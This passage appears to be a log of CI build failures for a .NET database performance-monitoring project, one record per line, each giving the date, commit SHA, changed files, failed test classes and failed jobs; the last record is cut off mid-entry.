+{"date":"2026-09-25","head_sha":"68aee17c4c80fec90984285b0754960067533bc0","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCliCommandsHostCheckTests.cs","Darling/Darling.Tests/DarlingMcpStoreHostToolsLiveTests.cs","Darling/Darling.Tests/FleetSweepWebFeedTests.cs","Darling/Darling.Tests/SerialLoopStoreSizeSourceTests.cs","Darling/Darling.Tests/SharedBaselineCacheTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreHostTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.DarlingMcpFleetSweepToolsTests","Darling.Tests.McpToolsListBudgetTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"4382ed7cdef71bf907a181b7d3af9ace41f639a5","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingCliCommandsHostCheckTests.cs","Darling/Darling.Tests/DarlingMcpStoreHostBudgetLiveTests.cs","Darling/Darling.Tests/DarlingMcpStoreHostToolsLiveTests.cs","Darling/Darling.Tests/FleetSweepWebFeedTests.cs","Darling/Darling.Tests/McpToolsListBudget/DarlingMcpStoreHostTools.txt","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/SerialLoopStoreSizeSourceTests.cs","Darling/Darling.Tests/SharedBaselineCacheTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpInstructions.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpStoreHostTools.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/sweeps.js","Lite.Tests/CrossAppMcpToolInventoryPinTests.cs","README.md","llms.txt"],"failed_classes":["Darling.Tests.DarlingMcpFleetSweepToolsTests","Darling.Tests.LivePostgresCollectionHygieneTests"],"failed_jobs":["build","Darling PG tests (0)","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"67db04eb0e75f29e3d914255840fd7889130126c","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreLogins.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingStoreConnection.cs","Darling/PerformanceMonitor.Darling.Storage/StoreConnectionSelfTest.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"08e6e818b4269fc2a193cc1636ad4982835b9b17","event":"pull_request","changed_files":["Darling/Darling.Tests/McpReadToolBudgetLiveTests.cs"],"failed_classes":["Darling.Tests.McpReadToolBudgetLiveTests","Darling.Tests.PgTargetBlockingTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"d5444ff210c0f897bc9398dfe43832e863d10eb5","event":"pull_request","changed_files":["Darling/Darling.Tests/StoreSessionTimeZonePinCensusTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreLogins.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingStoreConnection.cs","Darling/PerformanceMonitor.Darling.Storage/StoreConnectionSelfTest.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)","build"]}
+{"date":"2026-09-25","head_sha":"f0370dc8fc5ee4381abe62f0d0f1405c95a695e0","event":"push","changed_files":["Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolsListBudgetTests.cs","Darling/Darling.Tests/RawWindowFloorMcpLiveTests.cs","Darling/Darling.Tests/RawWindowFloorViewerPortTests.cs","Darling/Darling.Tests/RepoFileAdoptionTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingDataReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/pages/server-tabs.js","Darling/PerformanceMonitor.Darling.Service/wwwroot/js/view-templates.js","Darling/PerformanceMonitor.Darling.Storage/RawWindowFloor.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.ProcedureStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStats.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.QueryStore.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Queries.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"f9ed975c705c4cc23592e40d39b731cb7c9fa75a","event":"pull_request","changed_files":["Darling/Darling.Tests/StoreSessionTimeZoneLiveTests.cs","Darling/Darling.Tests/StoreSessionTimeZonePinCensusTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreLogins.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingStoreConnection.cs","Darling/PerformanceMonitor.Darling.Storage/StoreConnectionSelfTest.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.ViewerCommandTimeoutTests"],"failed_jobs":["Darling PG tests (0)","build","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"4226552ea499174a53cca817059f40b27e7012a7","event":"pull_request","changed_files":["Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpToolGuideHeads.CollectionLog.cs","Darling/Darling.Tests/McpToolGuideHeads.Data.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Lite.Tests/McpToolGuideHeads.CollectionLog.cs","Lite.Tests/McpToolGuideHeads.Data.cs","Lite.Tests/QueryWindowTruncationTests.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Controls/ServerTab.Slicers.cs","Lite/Controls/ServerTab.xaml","Lite/Mcp/McpQueryTools.cs","Lite/Services/LocalDataService.QueryWindowFloor.cs","Lite/Services/LocalDataService.cs","PerformanceMonitor.Common/Mcp/McpHelpers.cs"],"failed_classes":["Darling.Tests.McpToolsListBudgetTests","Lite.Tests.McpToolsListBudgetTests"],"failed_jobs":["build","Darling PG tests (1)","Lite tests (2)"]}
+{"date":"2026-09-25","head_sha":"762897cf9cffc5b9c209e3f8f9a288d768aba5e5","event":"pull_request","changed_files":["Darling/Darling.Tests/WebExceptionTextCensusTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingFleetSweepEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingTriageEndpoint.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/Hosting/DarlingWebFailureLog.cs"],"failed_classes":["Darling.Tests.LivePostgresCollectionHygieneTests","Darling.Tests.PgTargetAnomalyTests"],"failed_jobs":["Darling PG tests (0)","build"]}
+{"date":"2026-09-25","head_sha":"a3ece55524427f86c76766ea4e4530aea6601a76","event":"pull_request","changed_files":["Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Perfmon.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Waits.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerNameListCache.cs","PerformanceMonitor.Common/PerformanceMonitor.Common.csproj"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.ViewerPerfmonRunningJobsLivePostgresTests","Darling.Tests.ViewerPerfmonSqlTests","Darling.Tests.ViewerWaitStatsLivePostgresTests","Darling.Tests.ViewerWaitStatsSqlTests"],"failed_jobs":["Darling PG tests (2)","Darling PG tests (1)","Darling PG tests (0)","build"]}
+{"date":"2026-09-25","head_sha":"294c16c36e32aac01414fc931a9afaf7fd07bd22","event":"pull_request","changed_files":["Darling/Darling.Tests/QueryStoreBackfillTests.cs","Darling/PerformanceMonitor.Darling.Service/QueryStoreBackfill.cs","Darling/PerformanceMonitor.Darling.Service/ServiceCommandDeadlines.cs","Lite/Services/RemoteCollectorService.QueryStoreBackfill.cs","PerformanceMonitor.Collectors/QueryStoreBackfillState.cs"],"failed_classes":["Darling.Tests.CommandPlaneCommandTimeoutTests","Darling.Tests.PgTargetBlockingTests","Darling.Tests.RepoFileAdoptionTests"],"failed_jobs":["build","Darling PG tests (1)","Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"cff6610b2e0b5b8b7a99d5293d78f76687896d09","event":"push","changed_files":["Darling/Darling.Tests/DarlingStoreLoginsTests.cs","Darling/Darling.Tests/StoreConnectionStringAppendPinTests.cs","Darling/Darling.Tests/StoreSessionTimeZoneLiveTests.cs","Darling/Darling.Tests/StoreSessionTimeZonePinCensusTests.cs","Darling/Darling.Tests/ViewerCommandTimeoutTests.cs","Darling/Darling.Tests/ViewerDataServiceTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreLogins.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpHostService.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingWebHostService.cs","Darling/PerformanceMonitor.Darling.Storage/DarlingStoreConnection.cs","Darling/PerformanceMonitor.Darling.Storage/StoreConnectionSelfTest.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.cs"],"failed_classes":["Darling.Tests.PgTargetBlockingTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"92bcaa1946d0ea4e8891a2a85cf2d623445f4622","event":"pull_request","changed_files":["Darling/Darling.Tests/BaselineSupplyTests.cs","Darling/Darling.Tests/RetiredBaselineAggregateTests.cs","Darling/PerformanceMonitor.Darling.Storage/TimescaleSupport.cs"],"failed_classes":["Darling.Tests.AlertReadFailureSurfaceTests"],"failed_jobs":["build"]}
+{"date":"2026-09-25","head_sha":"227f5a83b127c35ea6c26b02eef42fd716b6277d","event":"pull_request","changed_files":["Darling/Darling.Tests/ViewerPerfmonRunningJobsTests.cs","Darling/Darling.Tests/ViewerTrendBucketingReviewTests.cs","Darling/Darling.Tests/ViewerWaitStatsTests.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Perfmon.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerDataService.Waits.cs","Darling/PerformanceMonitor.Darling.Viewer/ViewerNameListCache.cs","PerformanceMonitor.Common/PerformanceMonitor.Common.csproj"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-25","head_sha":"4b899f6f43f700a2cc8a64c122c715ffcb7b340c","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionHealthPayloadBudgetLiveTests.cs","Darling/Darling.Tests/McpPayloadContractCensusTests.cs","Darling/Darling.Tests/McpReadToolBudgetLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpDataTools.cs","Lite.Tests/CollectionHealthPayloadBudgetToolTests.cs","Lite.Tests/McpReadToolBudgetTests.cs","Lite/Mcp/McpHealthTools.cs"],"failed_classes":["Darling.Tests.PgTargetAnomalyTests"],"failed_jobs":["Darling PG tests (0)"]}
+{"date":"2026-09-25","head_sha":"fc399bc63e08965c98b9453de4c00e628aedaa38","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingAnomalyBaselineTests.cs","Darling/Darling.Tests/PgTargetClockTests.cs","Darling/PerformanceMonitor.Darling.Analysis/BaselineCache.cs","Darling/PerformanceMonitor.Darling.Analysis/PgBaselineProvider.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetBaselineProvider.cs"],"failed_classes":["Darling.Tests.PgTargetBetweenWavesV3Tests","Darling.Tests.PgTargetClockLiveTests","Darling.Tests.PgTargetSampledWaitLiveTests","Darling.Tests.SharedBaselineCacheLiveTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)","build","Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"961d93b4730ea08620d75b4e525a91e5f16b738e","event":"pull_request","changed_files":["Darling/Darling.Tests/FailureNoteRedactionTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/CollectorRuntimeState.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingForcePlanTargetStateReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs"],"failed_classes":["Darling.Tests.PgTargetCollectionCaveatsLiveTests","Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"a9814cad2304b4d401fdd74580571938119040fb","event":"pull_request","changed_files":["Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs"],"failed_classes":["Darling.Tests.DarlingManagedPostgresTests"],"failed_jobs":["Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"29411369ab30b45ead7c0527757c6415bbd8afe1","event":"pull_request","changed_files":["Lite.Tests/LiteWaitPerfmonTrendBucketingTests.cs","Lite.Tests/PerfmonIntervalAggregationTests.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Services/LiteNameListCache.cs","Lite/Services/LocalDataService.Perfmon.cs","Lite/Services/LocalDataService.WaitStats.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.PerfmonCounterTypeRungTests"],"failed_jobs":["build"]}
+{"date":"2026-09-25","head_sha":"a338b38170d1a72be711261be4a7c0722bfb214d","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingPeerDisclosureTests.cs","Darling/Darling.Tests/FailureNoteRedactionTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/CollectorRuntimeState.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingForcePlanTargetStateReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/PgPlanForceActionStore.cs"],"failed_classes":["Darling.Tests.PgTargetCollectionCaveatsLiveTests","Darling.Tests.StartupFailureTriageTests","Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"8beb4d74a5c3ab6e2bfd108cd207a0581e48f8a7","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingHardenFilesVerbTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingStoreUpgradeRevertTests.cs","Darling/Darling.Tests/DarlingStoreUpgradeTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs"],"failed_classes":["Darling.Tests.TsqlConventionGuardTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"6c4c79575959486778d38951503983e24bc4385b","event":"pull_request","changed_files":["Lite.Tests/PerformanceTrendDurationBucketingTests.cs","Lite/Services/LocalDataService.QueryStats.cs"],"failed_classes":["Darling.Tests.McpZeroIsAMeasurementTests"],"failed_jobs":["build"]}
+{"date":"2026-09-25","head_sha":"b8fa109068d6ffeebd8fb41b294320837c443cff","event":"pull_request","changed_files":["Lite.Tests/DuckDbSentinelConnectionTests.cs","Lite.Tests/MuteRulesSurviveResetTests.cs","Lite/Database/DuckDbInitializer.cs","Lite/MainWindow.xaml.cs"],"failed_classes":["PerformanceMonitorLite.Tests.AnalysisPassTokenThreadingTests"],"failed_jobs":["Lite tests (3)"]}
+{"date":"2026-09-25","head_sha":"d118681de9f3abd734a48467dc1669299a3c0305","event":"pull_request","changed_files":["Lite.Tests/LiteMemoryFileIoTrendBucketingTests.cs","Lite.Tests/LiteWaitPerfmonTrendBucketingTests.cs","Lite.Tests/PerfmonIntervalAggregationTests.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Mcp/McpIoTools.cs","Lite/Services/LiteNameListCache.cs","Lite/Services/LocalDataService.FileIo.cs","Lite/Services/LocalDataService.Memory.cs","Lite/Services/LocalDataService.Perfmon.cs","Lite/Services/LocalDataService.WaitStats.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests","Darling.Tests.PerfmonCounterTypeRungTests"],"failed_jobs":["build"]}
+{"date":"2026-09-25","head_sha":"be7716e8e6f52adbbc3bc7b9b4e264b4a5261c4f","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionCaveatsTests.cs","Darling/Darling.Tests/CollectorRuntimeStateTests.cs","Darling/Darling.Tests/DarlingPeerDisclosureTests.cs","Darling/Darling.Tests/DarlingStoreLoginsTests.cs","Darling/Darling.Tests/FailureNoteRedactionTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/CollectorRuntimeState.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingForcePlanTargetStateReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/PgPlanForceActionStore.cs","Lite.Tests/CollectionCaveatsTests.cs","Lite/Analysis/DuckDbFactCollector.cs","PerformanceMonitor.Analysis/AnalysisContext.cs"],"failed_classes":["Darling.Tests.PgTargetCollectionCaveatsLiveTests","Darling.Tests.StartupFailureTriageTests"],"failed_jobs":["Darling PG tests (1)","build"]}
+{"date":"2026-09-25","head_sha":"298be53aa3252d3770f08bf962e5a20c2d65adeb","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingHardenFilesVerbTests.cs","Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/DarlingStoreUpgradeRevertTests.cs","Darling/Darling.Tests/DarlingStoreUpgradeTests.cs","Darling/Darling.Tests/TsqlConventionGuardTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreUpgrade.cs"],"failed_classes":["Darling.Tests.ComposeStoreRolesLiveTests"],"failed_jobs":["Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"64e33e5b724dab960c8c71f7dae532c6c5913953","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs"],"failed_classes":["Darling.Tests.ActivityDrivenPlanFetchStoreTests","Darling.Tests.CheckpointsTimedRungTests","Darling.Tests.CollectionCaveatsRungTests","Darling.Tests.CollectionLogDrainForensicsStoreTests","Darling.Tests.CollectionLogFanoutRollupStoreTests","Darling.Tests.CollectionLogFetchPhaseSumsLivePostgresTests","Darling.Tests.CollectionLogFetchPhaseSumsStoreTests","Darling.Tests.CollectionLogPhaseSplitStoreTests","Darling.Tests.CollectorDatabaseScopeRungTests","Darling.Tests.CollectorStallProbeStoreTests","Darling.Tests.ComposeStatementTimeoutStoreTests","Darling.Tests.CustomAlertCoreMigrationTests","Darling.Tests.DarlingAnalysisStoreTests","Darling.Tests.DarlingCustomViewsTests","Darling.Tests.DarlingObservabilityTests","Darling.Tests.DarlingPlanCorrectionLiveMigrationTests","Darling.Tests.DarlingServerTagsTests","Darling.Tests.DeadlockRateBandRungTests","Darling.Tests.DeltaFamilyIntervalColumnsRungTests","Darling.Tests.DeltaFamilyIntervalCompletionRungTests","Darling.Tests.FileGrowthAlertStoreTests","Darling.Tests.FleetSweepCadenceKnobRungTests","Darling.Tests.FleetSweepStateRungTests","Darling.Tests.IncidentOccurrenceAccumulatorTests","Darling.Tests.IndexObjectStatsServerTimeIndexRungTests","Darling.Tests.LivePostgresStoreFixtureTests","Darling.Tests.LongRunningQueryExclusionKnobRungTests","Darling.Tests.MonitoredEngineKindStoreTests","Darling.Tests.MuteRuleReloadBeaconTests","Darling.Tests.NotificationRoutesRungTests","Darling.Tests.OversizedPlanBacklogPins","Darling.Tests.PerfmonCounterTypeRungTests","Darling.Tests.Pg18IoBytesTests","Darling.Tests.PgAlertCountKnobRungTests","Darling.Tests.PgCpuCapacityHeadroomTests","Darling.Tests.PgDatabaseSizeStatsAndHostMemoryLivePostgresTests","Darling.Tests.PgDatabaseSizeStatsAndHostMemoryRungTests","Darling.Tests.PgIndexBloatEstimateRungTests","Darling.Tests.PgLogEventMetricsRungTests","Darling.Tests.PgLogEventsRungTests","Darling.Tests.PgNumbackendsAndSampledMsLivePostgresTests","Darling.Tests.PgNumbackendsAndSampledMsRungTests","Darling.Tests.PgServerConfigScopeRungTests","Darling.Tests.PgServerConfigTests","Darling.Tests.PgStatementTextTests","Darling.Tests.PlanContentRetentionTests","Darling.Tests.PlanForceActionStoreTests","Darling.Tests.PostgresMajorVersionRegistryTests","Darling.Tests.PostmasterStartTimeLivePostgresTests","Darling.Tests.PostmasterStartTimeRungTests","Darling.Tests.PvsStatsStoreTests","Darling.Tests.QsCaptureModeRouteKnobToastLivePostgresTests","Darling.Tests.QsCaptureModeRouteKnobToastRungTests","Darling.Tests.QueryStoreHealthStoreTests","Darling.Tests.QueryStoreIntervalLatestRungTests","Darling.Tests.QueryStoreTextStoreTests","Darling.Tests.ScaffoldTests","Darling.Tests.SelfDiskWarnGbFloorRungTests","Darling.Tests.StartupHostProfileLogTests","Darling.Tests.StoreLogSelfMonitoringStoreTests","Darling.Tests.StoreSelfMetricsTests","Darling.Tests.TempDbCeilingStoreTests","Darling.Tests.TimeHonestyRungLivePostgresTests","Darling.Tests.TimeHonestyRungTests","PerformanceMonitor.Darling.Tests.StoreConnectionSelfTestLiveTests"],"failed_jobs":["Darling PG tests (0)","Darling PG tests (1)","build","Darling PG tests (2)"]}
+{"date":"2026-09-25","head_sha":"fd1fdb20d435d91f7da9aeb14ada2ac4fd81e22e","event":"pull_request","changed_files":["Lite.Tests/LiteMemoryFileIoTrendBucketingTests.cs","Lite/Controls/ServerTab.Refresh.cs","Lite/Mcp/McpIoTools.cs","Lite/Services/LocalDataService.FileIo.cs","Lite/Services/LocalDataService.Memory.cs"],"failed_classes":["Darling.Tests.DocCommentHygieneTests"],"failed_jobs":["build"]}
+{"date":"2026-09-25","head_sha":"856a7a174823f846a8da60e66aa88ad2352d5dfe","event":"pull_request","changed_files":["Darling/Darling.Tests/CollectionCaveatsTests.cs","Darling/Darling.Tests/CollectorRuntimeStateTests.cs","Darling/Darling.Tests/DarlingPeerDisclosureTests.cs","Darling/Darling.Tests/DarlingStoreLoginsTests.cs","Darling/Darling.Tests/DarlingWebEndpointsTests.cs","Darling/Darling.Tests/FailureNoteRedactionTests.cs","Darling/Darling.Tests/WebExceptionTextCensusTests.cs","Darling/PerformanceMonitor.Darling.Analysis/PgFactCollector.cs","Darling/PerformanceMonitor.Darling.Analysis/PgTargetFactCollector.cs","Darling/PerformanceMonitor.Darling.Service/DarlingConfig.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWebEndpoints.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/CollectorRuntimeState.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingForcePlanTargetStateReader.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpTools.cs","Darling/PerformanceMonitor.Darling.Service/PgPlanForceActionStore.cs","Lite.Tests/CollectionCaveatsTests.cs","Lite/Analysis/DuckDbFactCollector.cs","PerformanceMonitor.Analysis/AnalysisContext.cs"],"failed_classes":["Darling.Tests.PgTargetCollectionCaveatsLiveTests","Darling.Tests.SharedBaselineCacheTests","Darling.Tests.StartupFailureTriageTests"],"failed_jobs":["build","Darling PG tests (1)"]}
+{"date":"2026-09-25","head_sha":"658bc329262ff59045315a0a8c52e4a6ff5712a3","event":"pull_request","changed_files":["Darling/Darling.Tests/DarlingManagedPostgresTests.cs","Darling/Darling.Tests/ManagedConfFileLiveTests.cs","Darling/Darling.Tests/ManagedConfFileTests.cs","Darling/Darling.Tests/ManagedConfVerdictsLiveTests.cs","Darling/PerformanceMonitor.Darling.Service/DarlingCliCommands.cs","Darling/PerformanceMonitor.Darling.Service/DarlingManagedPostgres.cs","Darling/PerformanceMonitor.Darling.Service/DarlingStoreHostProfile.cs","Darling/PerformanceMonitor.Darling.Service/DarlingWorker.cs","Darling/PerformanceMonitor.Darling.Service/ManagedConfFile.cs","Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingStoreMetricsReader.cs","Darling/PerformanceMonitor.Darling.Storage/PgMigrations.cs"],"failed_classes":["Darling.Tests.ActivityDrivenPlanFetchStoreTests","Darling.Tests.CheckpointsTimedRungTests","Darling.Tests.CollectionCaveatsRungTests","Darling.Tests.CollectionLogDrainForensicsStoreTests","Darling.Tests.CollectionLogFanoutRollupStoreTests","Darling.Tests.CollectionLogFetchPhaseSumsLivePostgresTests","Darling.Tests.CollectionLogFetchPhaseSumsStoreTests","Darling.Tests.CollectionLogPhaseSplitStoreTests","Darling.Tests.CollectorDatabaseScopeRungTests","Darling.Tests.CollectorStallProbeStoreTests","Darling.Tests.ComposeStatementTimeoutStoreTests","Darling.Tests.CustomAlertCoreMigrationTests","Darling.Tests.DarlingAnalysisStoreTests","Darling.Tests.DarlingCustomViewsTests","Darling.Tests.DarlingObservabilityTests","Darling.Tests.DarlingPlanCorrectionLiveMigrationTests","Darling.Tests.DarlingServerTagsTests","Darling.Tests.DeadlockRateBandRungTests","Darling.Tests.DeltaFamilyIntervalColumnsRungTests","Darling.Tests.DeltaFamilyIntervalCompletionRungTests","Darling.Tests.FileGrowthAlertStoreTests","Darling.Tests.FleetSweepCadenceKnobRungTests","Darling.Tests.FleetSweepStateRungTests","Darling.Tests.IncidentOccurrenceAccumulatorTests","Darling.Tests.IndexObjectStatsServerTimeIndexRungTests","Darling.Tests.LivePostgresStoreFixtureTests","Darling.Tests.LongRunningQueryExclusionKnobRungTests","Darling.Tests.MonitoredEngineKindStoreTests","Darling.Tests.MuteRuleReloadBeaconTests","Darling.Tests.NotificationRoutesRungTests","Darling.Tests.OversizedPlanBacklogPins","Darling.Tests.PerfmonCounterTypeRungTests","Darling.Tests.Pg18IoBytesTests","Darl